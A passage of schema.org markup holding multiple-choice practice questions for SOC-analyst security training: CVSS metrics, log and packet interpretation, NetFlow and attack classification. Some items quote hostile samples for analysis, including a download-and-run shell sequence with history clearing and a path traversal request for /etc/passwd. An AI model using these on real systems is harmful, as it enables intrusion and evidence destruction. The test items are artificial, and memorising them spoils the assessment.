was saved to the database and is now rendered for every visitor who views that thread. Which type of attack does this activity BEST represent?","acceptedAnswer":{"@type":"Answer","text":"Stored (persistent) cross-site scripting (XSS)"},"suggestedAnswer":[{"@type":"Answer","text":"SQL injection targeting the forum database"},{"@type":"Answer","text":"Command injection on the web server"},{"@type":"Answer","text":"Cross-site request forgery (CSRF)"}]},{"@context":"https://schema.org","@type":"Question","text":"A vulnerability analyst is scoring a newly disclosed flaw using CVSS v3.1. The vendor advisory notes that successful exploitation requires the attacker to first win a race condition and rely on a specific memory layout that varies between systems, meaning the attacker cannot control conditions and must repeatedly attempt the attack. Which base metric value best reflects this characteristic?","acceptedAnswer":{"@type":"Answer","text":"Attack Complexity: High"},"suggestedAnswer":[{"@type":"Answer","text":"Attack Vector: Network"},{"@type":"Answer","text":"Privileges Required: High"},{"@type":"Answer","text":"User Interaction: Required"}]},{"@context":"https://schema.org","@type":"Question","text":"A vulnerability analyst is reviewing a newly disclosed flaw in a public-facing web application. The flaw can be triggered by any remote attacker sending a crafted HTTP request over the internet, without any authentication and without any user interaction. When completing the CVSS v3.1 base metrics for this finding, which value should the analyst assign to the Attack Vector (AV) metric?","acceptedAnswer":{"@type":"Answer","text":"Network (N)"},"suggestedAnswer":[{"@type":"Answer","text":"Adjacent (A)"},{"@type":"Answer","text":"Local (L)"},{"@type":"Answer","text":"Physical (P)"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is scoring a newly disclosed web application vulnerability using CVSS v3.1. The vulnerability allows an unauthenticated attacker to modify arbitrary records in the backend database, but it does not expose any data to the attacker and does not disrupt the availability of the service. Which base metric should the analyst rate as High for this vulnerability?","acceptedAnswer":{"@type":"Answer","text":"Integrity Impact"},"suggestedAnswer":[{"@type":"Answer","text":"Confidentiality Impact"},{"@type":"Answer","text":"Availability Impact"},{"@type":"Answer","text":"User Interaction"}]},{"@context":"https://schema.org","@type":"Question","text":"A vulnerability analyst is scoring a newly disclosed flaw in an internal web application. Exploitation requires the attacker to first authenticate to the application using a standard, non-administrative user account before triggering the vulnerable function. Which CVSS base metric value most accurately reflects this condition?","acceptedAnswer":{"@type":"Answer","text":"Privileges Required: Low"},"suggestedAnswer":[{"@type":"Answer","text":"Privileges Required: None"},{"@type":"Answer","text":"User Interaction: Required"},{"@type":"Answer","text":"Attack Complexity: High"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is reviewing a CVSS v3.1 vector for a vulnerability in a hypervisor. Exploiting a guest virtual machine allows an attacker to affect resources belonging to the host operating system and other VMs beyond the initially compromised guest. Which CVSS base metric specifically captures this situation where the exploited component and the impacted component are different security authorities?","acceptedAnswer":{"@type":"Answer","text":"Scope (S)"},"suggestedAnswer":[{"@type":"Answer","text":"Attack Complexity (AC)"},{"@type":"Answer","text":"Privileges Required (PR)"},{"@type":"Answer","text":"User Interaction (UI)"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is scoring a newly disclosed vulnerability in a document viewer. Exploitation only succeeds if a victim opens a malicious file that is emailed to them; the code will not run on its own. Which CVSS base metric value most accurately captures this condition?","acceptedAnswer":{"@type":"Answer","text":"User Interaction: Required"},"suggestedAnswer":[{"@type":"Answer","text":"Attack Vector: Network"},{"@type":"Answer","text":"Privileges Required: High"},{"@type":"Answer","text":"Attack Complexity: High"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviewing outbound traffic profiles notices a workstation generating an unusually high volume of DNS TXT record queries to a single external domain over several hours. Total DNS traffic from this host is many times the baseline, though no large file transfers appear over HTTP or FTP. Which potential data loss concern does this traffic profile most likely indicate?","acceptedAnswer":{"@type":"Answer","text":"Data exfiltration via DNS tunneling, where stolen data is encoded into DNS queries"},"suggestedAnswer":[{"@type":"Answer","text":"A denial-of-service attack targeting the organization's internal DNS server"},{"@type":"Answer","text":"Normal DNS caching behavior that reduces repeated external lookups"},{"@type":"Answer","text":"An ARP spoofing attack redirecting traffic on the local subnet"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviewing NetFlow records notices that a workstation in the finance department, which normally generates only small bursts of outbound traffic, has been sending 4 GB of data over the course of one night to an unfamiliar external IP address on TCP port 443. The internal file server it accessed contains sensitive customer records. Based on this traffic profile, what does this activity most likely indicate?","acceptedAnswer":{"@type":"Answer","text":"Potential data exfiltration, where sensitive data is being smuggled out over an encrypted channel"},"suggestedAnswer":[{"@type":"Answer","text":"A normal software update being downloaded from a vendor content delivery network"},{"@type":"Answer","text":"A denial-of-service attack targeting the workstation from the external IP"},{"@type":"Answer","text":"Routine backup traffic between the workstation and an internal storage array"}]},{"@context":"https://schema.org","@type":"Question","text":"A security architect is documenting the layers of a defense-in-depth strategy for a new office. She wants to categorize each control by type. The company enforces a written acceptable use policy that all employees must sign, requires badge readers at every door, and runs endpoint antivirus on all workstations. When classifying the signed acceptable use policy, which category of security control does it represent?","acceptedAnswer":{"@type":"Answer","text":"Administrative control"},"suggestedAnswer":[{"@type":"Answer","text":"Physical control"},{"@type":"Answer","text":"Technical control"},{"@type":"Answer","text":"Corrective control"}]},{"@context":"https://schema.org","@type":"Question","text":"A security architect is reviewing a new deployment. An attacker who phished a user's credentials was still unable to move laterally because network segmentation blocked traffic to critical servers, and endpoint detection quarantined the malware that was dropped. The architect wants to describe the security principle that allowed multiple independent controls to compensate when the first control (user awareness) failed. Which principle best describes this design?","acceptedAnswer":{"@type":"Answer","text":"Defense-in-depth, using layered, overlapping controls so no single point of failure compromises the system"},"suggestedAnswer":[{"@type":"Answer","text":"Least privilege, ensuring users receive only the minimum access required for their role"},{"@type":"Answer","text":"Separation of duties, dividing critical tasks among multiple individuals to prevent fraud"},{"@type":"Answer","text":"Risk transference, shifting the impact of a threat to a third party such as an insurer"}]},{"@context":"https://schema.org","@type":"Question","text":"A software development team uses a shared Linux file server where each developer can set read, write, and execute permissions on the files they create and can grant those permissions to any other user at their own discretion. A security analyst reviewing this arrangement needs to classify the access control model in use. Which model best describes this behavior?","acceptedAnswer":{"@type":"Answer","text":"Discretionary Access Control (DAC)"},"suggestedAnswer":[{"@type":"Answer","text":"Mandatory Access Control (MAC)"},{"@type":"Answer","text":"Role-Based Access Control (RBAC)"},{"@type":"Answer","text":"Attribute-Based Access Control (ABAC)"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviews an alert during a service outage. The company's public web server is unreachable, and NetFlow data shows an overwhelming volume of inbound HTTP requests arriving simultaneously from more than 40,000 unique source IP addresses spread across dozens of countries. Server CPU and bandwidth are fully saturated. Which type of attack best matches these observations?","acceptedAnswer":{"@type":"Answer","text":"A distributed denial-of-service (DDoS) attack"},"suggestedAnswer":[{"@type":"Answer","text":"A single-source SYN flood denial-of-service attack"},{"@type":"Answer","text":"A man-in-the-middle attack"},{"@type":"Answer","text":"A SQL injection attack against the web application"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a suspicious PCAP in Wireshark, an analyst opens a single DNS packet and examines the query section. The Questions field shows one entry, the Name field contains 'a3f9c2e1b7d4.malwaredomain.example', and the Type field shows the value 16 (TXT). Given the objective of interpreting protocol header fields during intrusion analysis, what does this DNS record type most likely indicate about the traffic?","acceptedAnswer":{"@type":"Answer","text":"A TXT record query with a long random-looking subdomain, consistent with possible DNS tunneling or C2 data exchange"},"suggestedAnswer":[{"@type":"Answer","text":"The client is requesting the authoritative name servers for the domain, a routine delegation lookup"},{"@type":"Answer","text":"The client is resolving an IPv6 address for the host, indicating dual-stack network configuration"},{"@type":"Answer","text":"A reverse DNS lookup mapping the IP address back to a hostname for logging purposes"}]},{"@context":"https://schema.org","@type":"Question","text":"During intrusion analysis of a captured DNS transaction in Wireshark, an analyst inspects the DNS response header and notices the QR bit is set to 1, the ANCOUNT field shows a value of 8, and the RCODE field is 0. The queried hostname is a randomized 40-character subdomain of a suspicious external domain. Based on interpreting these header fields, what does the analyst most reasonably conclude?","acceptedAnswer":{"@type":"Answer","text":"The response is a successful reply containing 8 answer records, consistent with possible DNS tunneling given the long random subdomain"},"suggestedAnswer":[{"@type":"Answer","text":"The server returned an error, so the query failed and no records were provided"},{"@type":"Answer","text":"The QR bit set to 1 indicates this is a query being sent, not a response"},{"@type":"Answer","text":"ANCOUNT of 8 means 8 separate DNS queries were bundled in one packet"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is reviewing traffic captured at the network perimeter to hunt for command-and-control activity. She notices that over 80% of outbound sessions are TLS-encrypted, and her intrusion detection sensor can no longer inspect the payloads of these sessions for malicious signatures. Which data visibility challenge is she primarily facing?","acceptedAnswer":{"@type":"Answer","text":"Encryption prevents deep packet inspection of payload content, reducing the sensor's ability to match signatures"},"suggestedAnswer":[{"@type":"Answer","text":"Network Address Translation is hiding the true internal source IP addresses of the sessions"},{"@type":"Answer","text":"Asymmetric routing is causing the sensor to see only half of each TCP conversation"},{"@type":"Answer","text":"The sensor lacks sufficient storage to retain full packet captures for retrospective analysis"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst has a PCAP of an HTTP session where a host downloaded a suspicious executable. Using Wireshark, the analyst needs to reconstruct and save the exact binary that was transferred so it can be submitted to a malware sandbox. Which Wireshark action correctly extracts the transferred file from the TCP stream?","acceptedAnswer":{"@type":"Answer","text":"Use File > Export Objects > HTTP, select the executable entry, and save it to disk"},"suggestedAnswer":[{"@type":"Answer","text":"Apply the display filter http.request.method == \"GET\" and copy the packet bytes of the request packet"},{"@type":"Answer","text":"Right-click the SYN packet and choose Follow > TCP Stream, then save the entire ASCII conversation"},{"@type":"Answer","text":"Use Statistics > Conversations and export the TCP conversation summary as a CSV"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviews an alert from an intrusion detection system that flagged inbound traffic to a web server as an active SQL injection attack. After investigation, the analyst confirms the traffic was a legitimate scheduled scan by the organization's authorized vulnerability assessment tool, and no actual malicious activity occurred. How should this alert be classified?","acceptedAnswer":{"@type":"Answer","text":"False positive"},"suggestedAnswer":[{"@type":"Answer","text":"True positive"},{"@type":"Answer","text":"True negative"},{"@type":"Answer","text":"False negative"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a PCAP file in Wireshark, an analyst follows a TCP stream on port 21 and observes the following exchange: '220 ProFTPD Server ready', 'USER backup_svc', '331 Password required', 'PASS Wint3r2024!', '230 User logged in'. Based on this capture, what is the most significant intrusion-analysis concern the analyst should document?', ","acceptedAnswer":{"@type":"Answer","text":"The service account credentials were transmitted in clear text and are exposed to anyone capturing the traffic"},"suggestedAnswer":[{"@type":"Answer","text":"The FTP server banner reveals a ProFTPD version that must be immediately patched"},{"@type":"Answer","text":"The 230 response code indicates the login attempt was rejected and access was denied"},{"@type":"Answer","text":"The traffic on port 21 confirms an active data exfiltration transfer is in progress"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is investigating a suspected data exfiltration event. Session data and NetFlow records confirm a large transfer occurred between an internal host and an external IP over TCP port 443, but the analyst needs to examine the exact bytes sent, reconstruct the application-layer payload, and extract any transferred files to confirm what data left the network. Which data type should the analyst rely on to accomplish this?","acceptedAnswer":{"@type":"Answer","text":"Full packet capture (PCAP)"},"suggestedAnswer":[{"@type":"Answer","text":"NetFlow connection records"},{"@type":"Answer","text":"Transaction (session) data"},{"@type":"Answer","text":"Statistical/alert data from the IDS"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a PCAP in Wireshark, an analyst follows an HTTP stream and sees the following request line: GET /download.php?file=../../../../etc/passwd HTTP/1.1 followed by a 200 OK response containing lines beginning with root:x:0:0. Interpreting the URI field in the request header, which intrusion is most likely occurring?","acceptedAnswer":{"@type":"Answer","text":"Directory (path) traversal attack retrieving a sensitive system file"},"suggestedAnswer":[{"@type":"Answer","text":"SQL injection using a UNION statement to dump database tables"},{"@type":"Answer","text":"Cross-site scripting injecting a script into the file parameter"},{"@type":"Answer","text":"HTTP request smuggling using duplicate content-length headers"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a suspicious HTTP request captured in Wireshark, an analyst sees the following request headers:\n\nGET /admin/config.php HTTP/1.1\nHost: 192.168.10.55\nUser-Agent: sqlmap/1.6.12#stable (https://sqlmap.org)\nAccept: */*\nConnection: close\n\nWhich artifact element in these headers most directly identifies the nature of the activity as an automated attack?","acceptedAnswer":{"@type":"Answer","text":"The User-Agent value identifying the sqlmap tool"},"suggestedAnswer":[{"@type":"Answer","text":"The Host header pointing to an internal RFC 1918 address"},{"@type":"Answer","text":"The Connection: close header terminating the session"},{"@type":"Answer","text":"The Accept: */* header allowing any content type"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a PCAP in Wireshark, an analyst follows an HTTP stream and sees the following server reply to a client GET request:\n\nHTTP/1.1 200 OK\nDate: Tue, 14 May 2024 09:22:41 GMT\nServer: Apache/2.2.15 (CentOS)\nX-Powered-By: PHP/5.3.3\nContent-Type: text/html; charset=UTF-8\nContent-Length: 4821\n\nWhich intrusion-analysis conclusion is BEST supported by interpreting these HTTP response header fields?","acceptedAnswer":{"@type":"Answer","text":"The response headers disclose specific server software and versions, giving an attacker reconnaissance data to match against known vulnerabilities."},"suggestedAnswer":[{"@type":"Answer","text":"The 200 OK status code confirms the server successfully blocked an exploitation attempt."},{"@type":"Answer","text":"The Content-Length field indicates the payload was encrypted before transmission."},{"@type":"Answer","text":"The Date header proves the client and server clocks are synchronized, ruling out a replay attack."}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst notices that a workstation is sending a steady stream of traffic to an external host on TCP port 443. On inspection, the payloads do not follow the TLS handshake structure — instead, an interactive remote shell session appears to be encapsulated inside the connection. The corporate firewall permits outbound 443 to any destination. Which evasion technique is the attacker most likely using?","acceptedAnswer":{"@type":"Answer","text":"Protocol tunneling to hide non-HTTPS traffic inside an allowed port"},"suggestedAnswer":[{"@type":"Answer","text":"A SYN flood denial-of-service attack against the external host"},{"@type":"Answer","text":"SQL injection against a backend database server"},{"@type":"Answer","text":"ARP spoofing to intercept traffic on the local segment"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a suspicious PCAP in Wireshark, an analyst isolates a series of ICMP packets flowing from an internal host to an external IP. Each packet shows a Type value of 8 and a Code value of 0, and the data portion of each packet is unusually large and contains non-standard, high-entropy bytes rather than the typical repeating alphabet pattern. What does the interpretation of these ICMP header fields most likely indicate?","acceptedAnswer":{"@type":"Answer","text":"ICMP Echo Request packets being abused to tunnel data out of the network"},"suggestedAnswer":[{"@type":"Answer","text":"Standard ICMP Echo Reply packets returning from a normal ping test"},{"@type":"Answer","text":"ICMP Destination Unreachable messages indicating a routing failure"},{"@type":"Answer","text":"ICMP Time Exceeded messages generated by a traceroute utility"}]},{"@context":"https://schema.org","@type":"Question","text":"A financial services company discovers that database records showing customer account balances were silently altered by an attacker who gained write access. The data remained available and no unauthorized parties viewed it, but the recorded values no longer match the actual transactions. Which element of the CIA triad was primarily violated in this incident?","acceptedAnswer":{"@type":"Answer","text":"Integrity"},"suggestedAnswer":[{"@type":"Answer","text":"Confidentiality"},{"@type":"Answer","text":"Availability"},{"@type":"Answer","text":"Non-repudiation"}]},{"@context":"https://schema.org","@type":"Question","text":"While analyzing a suspicious packet in Wireshark, an analyst notices an inbound packet from an external host with an IP header Time-to-Live (TTL) value of 45. The analyst knows the packet has traversed roughly 19 routers before reaching the sensor. In the context of intrusion analysis, what is the MOST useful inference the analyst can draw from interpreting this TTL field?","acceptedAnswer":{"@type":"Answer","text":"The originating host likely used a default initial TTL of 64, suggesting a Linux/Unix-based operating system"},"suggestedAnswer":[{"@type":"Answer","text":"The TTL of 45 confirms the packet payload has been encrypted in transit"},{"@type":"Answer","text":"The TTL value proves the packet is a spoofed SYN flood originating from a Windows host"},{"@type":"Answer","text":"The low TTL indicates the packet was fragmented and must be reassembled before inspection"}]},{"@context":"https://schema.org","@type":"Question","text":"While analyzing a suspicious PCAP, an analyst notices multiple IPv4 packets from a single source that each carry the More Fragments (MF) flag set and non-zero Fragment Offset values, but the reassembled payloads produce overlapping byte ranges. Based on interpreting these IPv4 header fields, what is the most likely purpose of this traffic?","acceptedAnswer":{"@type":"Answer","text":"The sender is using overlapping IP fragments in an attempt to evade IDS reassembly and signature detection"},"suggestedAnswer":[{"@type":"Answer","text":"The packets indicate normal Path MTU Discovery behavior on a congested link"},{"@type":"Answer","text":"The traffic is a standard TCP three-way handshake split across multiple segments"},{"@type":"Answer","text":"The Fragment Offset values confirm the packets are ARP broadcasts being relayed across VLANs"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is investigating a potential data exfiltration event. She has a large set of firewall connection logs and knows only that a malicious external server has the IP address 203.0.113.45 and receives data over TCP port 443. To isolate exactly which internal host is communicating with that server using the 5-tuple approach, which additional pieces of information must she still identify from the logs?","acceptedAnswer":{"@type":"Answer","text":"The source IP address and source port of the internal host"},"suggestedAnswer":[{"@type":"Answer","text":"The MAC address and VLAN ID of the internal host"},{"@type":"Answer","text":"The DNS hostname and TTL value of the external server"},{"@type":"Answer","text":"The HTTP user-agent string and TLS certificate hash"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation of a Linux web server, an analyst reviews the following excerpt from a user's ~/.bash_history file:\n\n wget http://198.51.100.7/x.sh\n chmod +x x.sh\n ./x.sh\n history -c\n\nWhich conclusion is BEST supported by interpreting this command-line log?","acceptedAnswer":{"@type":"Answer","text":"The user downloaded and executed an external script, then attempted to clear shell history to hide the activity"},"suggestedAnswer":[{"@type":"Answer","text":"The commands represent a scheduled cron job configured to run automatically at boot"},{"@type":"Answer","text":"The server's kernel modules were recompiled to install a legitimate software update"},{"@type":"Answer","text":"The entries prove the attacker gained root privileges through a buffer overflow"}]},{"@context":"https://schema.org","@type":"Question","text":"While investigating a compromised Ubuntu web server, an analyst reviews /var/log/syslog and finds the following recurring entry every 10 minutes: 'CRON[4821]: (www-data) CMD (/tmp/.update.sh)'. The www-data account normally only serves web content and has no legitimate scheduled tasks. What does this log evidence most likely indicate?","acceptedAnswer":{"@type":"Answer","text":"A scheduled cron job is providing the attacker persistence by repeatedly executing a hidden script as the www-data user"},"suggestedAnswer":[{"@type":"Answer","text":"The Apache service is automatically updating itself through its built-in maintenance routine"},{"@type":"Answer","text":"A brute-force login attempt against the www-data account is in progress"},{"@type":"Answer","text":"The kernel is logging a normal system time synchronization event"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation of a compromised Ubuntu web server, an analyst runs 'stat /var/www/html/config.php' and reviews the output, which shows fields labeled 'Inode', 'Links', 'Access', 'Modify', and 'Change'. Which operating system component stores the metadata (such as permissions, ownership, and the Modify/Change timestamps) for this file on the Linux ext4 filesystem?","acceptedAnswer":{"@type":"Answer","text":"The inode"},"suggestedAnswer":[{"@type":"Answer","text":"The Master File Table (MFT)"},{"@type":"Answer","text":"The /etc/passwd file"},{"@type":"Answer","text":"The systemd journal"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation on a Linux workstation, an analyst reviews /var/log/messages and finds the following entries around 14:07: 'kernel: usb 2-1: new high-speed USB device number 4', 'kernel: sd 6:0:0:0: [sdb] Attached SCSI removable disk', and 'systemd: Mounted /media/user/BACKUP'. Which conclusion is best supported by these log entries?","acceptedAnswer":{"@type":"Answer","text":"A removable USB storage device was connected and mounted by the system"},"suggestedAnswer":[{"@type":"Answer","text":"A network file share was remotely mapped over SMB"},{"@type":"Answer","text":"A new internal SATA hard drive was permanently installed"},{"@type":"Answer","text":"A malicious kernel module was loaded to hide a rootkit"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a compromised Linux web server, an analyst opens /var/log/auth.log and finds the following entry:\n\n'Aug 14 02:17:44 web01 sudo: www-data : TTY=pts/1 ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/bash'\n\nWhich event does this log entry BEST indicate?","acceptedAnswer":{"@type":"Answer","text":"The www-data service account used sudo to spawn an interactive root shell, indicating likely privilege escalation"},"suggestedAnswer":[{"@type":"Answer","text":"A scheduled cron job ran a routine backup script as root without user interaction"},{"@type":"Answer","text":"The root user logged in directly over SSH and opened a Bash session"},{"@type":"Answer","text":"A failed authentication attempt was recorded for the www-data account"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation, a SOC analyst needs to reconstruct which user account authenticated to a Linux server, at what time, and whether the login succeeded or failed. The analyst is deciding which data source will most directly provide this specific record. Which data type should the analyst consult first?","acceptedAnswer":{"@type":"Answer","text":"Transaction (application/system) log data from the server"},"suggestedAnswer":[{"@type":"Answer","text":"NetFlow records collected from the core switch"},{"@type":"Answer","text":"Full packet capture from a SPAN port near the server"},{"@type":"Answer","text":"IDS alert data generated by signature matches"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst reviewing endpoint telemetry notices that winword.exe spawned powershell.exe, which then executed a heavily encoded command that downloaded and ran additional code directly in memory. No malicious file was ever written to the disk, so the file-based antivirus scan came back clean. Which type of endpoint-based attack does this behavior BEST describe?","acceptedAnswer":{"@type":"Answer","text":"A fileless malware attack leveraging a living-off-the-land binary"},"suggestedAnswer":[{"@type":"Answer","text":"A distributed denial-of-service (DDoS) attack against the workstation"},{"@type":"Answer","text":"A stack-based buffer overflow exploiting a memory corruption flaw"},{"@type":"Answer","text":"A SQL injection attack targeting the document repository"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst investigating a suspected endpoint compromise pulls the following data types from their monitoring platform: NetFlow records, firewall logs, and full packet capture from the network segment. The malware is confirmed to run entirely in memory on the host, injects into a legitimate signed process, and communicates only over TLS 1.3 to a domain that later resolves to a known-good CDN. Which additional data source would most directly reveal the malicious activity that the network-based sources are missing?","acceptedAnswer":{"@type":"Answer","text":"Endpoint detection and response (EDR) process and API telemetry from the affected host"},"suggestedAnswer":[{"@type":"Answer","text":"Additional NetFlow collectors deployed at the network core"},{"@type":"Answer","text":"DNS resolver query logs for the segment"},{"@type":"Answer","text":"SNMP interface statistics from the upstream switch"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviews an endpoint alert: multiple user document files on a workstation had their extensions changed to '.locked', and a text file named 'RECOVER_FILES.txt' now sits in every affected folder demanding Bitcoin payment for a decryption key. Based on these observed behaviors, which type of endpoint-based attack is MOST likely occurring?","acceptedAnswer":{"@type":"Answer","text":"Ransomware"},"suggestedAnswer":[{"@type":"Answer","text":"Buffer overflow"},{"@type":"Answer","text":"Command and control (C2) beaconing"},{"@type":"Answer","text":"Cross-site scripting (XSS)"}]},{"@context":"https://schema.org","@type":"Question","text":"A defense contractor operates a network where the operating system enforces access decisions based on security labels assigned to both users and files. A user with a SECRET clearance attempts to open a document labeled TOP SECRET, and the system denies access. Even the file's creator cannot change the classification label or grant another user access to it — only a central security administrator can adjust labels. Which access control model is being enforced in this environment?","acceptedAnswer":{"@type":"Answer","text":"Mandatory Access Control (MAC)"},"suggestedAnswer":[{"@type":"Answer","text":"Discretionary Access Control (DAC)"},{"@type":"Answer","text":"Role-Based Access Control (RBAC)"},{"@type":"Answer","text":"Attribute-Based Access Control (ABAC)"}]},{"@context":"https://schema.org","@type":"Question","text":"During a security review, an analyst reads the following log line: 'Threat detected: Win32/Emotet in C:\\Users\\jsmith\\Downloads\\invoice.exe — Action taken: Quarantined. Signature version 1.389.204.0.' The analyst must map this event to the correct source technology so it can be correlated with other data. Which source technology most likely produced this event?","acceptedAnswer":{"@type":"Answer","text":"Host-based antivirus / endpoint protection software"},"suggestedAnswer":[{"@type":"Answer","text":"NetFlow collector on a core router"},{"@type":"Answer","text":"Network tap feeding a full-packet-capture appliance"},{"@type":"Answer","text":"Stateful firewall connection table"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is reviewing web server logs during an incident. Every malicious request originates from a small set of source IP addresses that reverse-DNS resolves to a well-known anonymization network's exit nodes. Blocking these addresses has little effect, and new requests continue arriving from different addresses in the same category. Which evasion technique is the attacker most likely using to obscure their true origin?","acceptedAnswer":{"@type":"Answer","text":"The attacker is routing traffic through a Tor / onion-routing network to anonymize the true source IP"},"suggestedAnswer":[{"@type":"Answer","text":"The attacker is exploiting a buffer overflow to spoof the server's own IP address"},{"@type":"Answer","text":"The attacker is using DNS tunneling to exfiltrate data over UDP port 53"},{"@type":"Answer","text":"The attacker is performing ARP cache poisoning to sit between the client and server"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst needs to identify which internal hosts communicated with a known malicious IP address over the past 30 days. Full packet capture storage was purged after 72 hours due to disk constraints, but the organization retains records showing source/destination IPs, ports, protocols, byte counts, and timestamps for all flows during that period. Which data type is the analyst relying on to answer this question?","acceptedAnswer":{"@type":"Answer","text":"NetFlow (session/connection data)"},"suggestedAnswer":[{"@type":"Answer","text":"Full packet capture (PCAP)"},{"@type":"Answer","text":"Transaction data from application logs"},{"@type":"Answer","text":"Statistical data from a network baseline"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst receives a data feed showing records with source IP, destination IP, source and destination ports, protocol number, byte counts, packet counts, and start/end timestamps for each conversation — but no application-layer payload. The feed originates from the organization's edge router. When mapping this event data to its source technology, which technology most likely produced these records?","acceptedAnswer":{"@type":"Answer","text":"NetFlow flow export configured on the router"},"suggestedAnswer":[{"@type":"Answer","text":"A full packet capture appliance connected to a SPAN port"},{"@type":"Answer","text":"A host-based antivirus quarantine log"},{"@type":"Answer","text":"An IDS signature alert engine"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is reviewing a suspected data exfiltration incident. The security team asks whether the current monitoring architecture allows them to reconstruct the actual contents of the files that left the network. The organization currently collects only NetFlow records exported from its core routers and does not maintain any packet capture appliances. Which statement BEST describes the analytical limitation of relying solely on this NetFlow data for this investigation?","acceptedAnswer":{"@type":"Answer","text":"NetFlow provides transactional metadata such as source/destination IPs, ports, protocol, and byte/packet counts, but it does not capture payload, so the file contents cannot be reconstructed"},"suggestedAnswer":[{"@type":"Answer","text":"NetFlow captures full packet payloads by default, so the analyst can extract the transferred files directly from the flow records"},{"@type":"Answer","text":"NetFlow records include the application-layer session content, making a separate tap unnecessary for content reconstruction"},{"@type":"Answer","text":"NetFlow only records Layer 2 frame headers, so neither the five-tuple nor byte counts are available for analysis"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation, an analyst needs to determine the exact HTTP URI and file content that a suspicious internal host requested from an external server. The SOC has access to both a NetFlow collector and a full-visibility SPAN/tap feed captured to PCAP. Which statement correctly compares what each data source can provide for this specific need?","acceptedAnswer":{"@type":"Answer","text":"NetFlow provides the flow's source/destination IPs, ports, protocol, byte and packet counts, and timestamps, but the tap/PCAP data is required to see the actual HTTP URI and reconstruct the transferred file content."},"suggestedAnswer":[{"@type":"Answer","text":"NetFlow records the full application-layer payload including the HTTP URI, so the tap/PCAP feed adds no additional value for this investigation."},{"@type":"Answer","text":"The tap/PCAP feed only records connection metadata, while NetFlow is the only source that captures and stores full packet payloads for content reconstruction."},{"@type":"Answer","text":"Both NetFlow and tap/PCAP capture identical data; the choice between them is purely a matter of storage cost, not content visibility."}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is building a network profile to detect anomalies for the corporate LAN. She has already documented total throughput and typical session durations. To complete the profile per common network profiling guidance, she wants to record the set of IP addresses that legitimately generate and receive traffic on the segment. Which network profiling element is she documenting?","acceptedAnswer":{"@type":"Answer","text":"Address space"},"suggestedAnswer":[{"@type":"Answer","text":"Listening ports"},{"@type":"Answer","text":"Critical processes"},{"@type":"Answer","text":"Service accounts"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is building a network profile for the corporate environment to help detect anomalous behavior. The analyst has already documented total throughput and address space in use. The team lead asks the analyst to add a metric that captures how long connections typically remain open between internal hosts and external services, so that unusually persistent connections (such as those from a covert channel) can be flagged. Which network profiling element should the analyst measure to satisfy this request?","acceptedAnswer":{"@type":"Answer","text":"Session duration"},"suggestedAnswer":[{"@type":"Answer","text":"Listening ports"},{"@type":"Answer","text":"Critical processes"},{"@type":"Answer","text":"User accounts"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is building a network profile for the corporate environment to help detect anomalous behavior. The analyst has already documented which TCP and UDP ports are typically open and which internal hosts communicate with which external destinations. According to NIST guidance on network profiling, which additional element should the analyst capture to establish a baseline of how much data normally flows across the network segment over time?","acceptedAnswer":{"@type":"Answer","text":"Total throughput"},"suggestedAnswer":[{"@type":"Answer","text":"Listening ports"},{"@type":"Answer","text":"Critical asset address space"},{"@type":"Answer","text":"Session duration"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is investigating malicious traffic seen leaving the corporate network toward a known command-and-control server. The perimeter firewall logs show the source of all outbound sessions as a single public IP address, 203.0.113.10, which is the outside interface of the border device. The analyst cannot determine which of the hundreds of internal workstations actually generated the traffic. What is the primary data visibility challenge causing this problem?","acceptedAnswer":{"@type":"Answer","text":"Network Address Translation (NAT) obscures the original internal source IP addresses in the firewall logs"},"suggestedAnswer":[{"@type":"Answer","text":"The traffic is encrypted with TLS, hiding the payload from inspection"},{"@type":"Answer","text":"Asymmetric routing is causing the firewall to see only half of each session"},{"@type":"Answer","text":"The workstations are using DHCP, so their IP addresses change too frequently to track"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is evaluating what visibility each monitoring technology adds to the SOC. The team already collects NetFlow and full packet capture, but they cannot easily see WHICH application (e.g., Facebook vs. Salesforce) is riding over TCP port 443. A manager asks which technology would provide Layer 7 application-awareness by identifying the actual application regardless of the port used. Which technology should the analyst recommend?","acceptedAnswer":{"@type":"Answer","text":"A next-generation firewall (NGFW) with application visibility and control (AVC)"},"suggestedAnswer":[{"@type":"Answer","text":"A traditional stateful firewall filtering on port and protocol"},{"@type":"Answer","text":"A NetFlow collector aggregating flow records"},{"@type":"Answer","text":"A syslog server centralizing device event 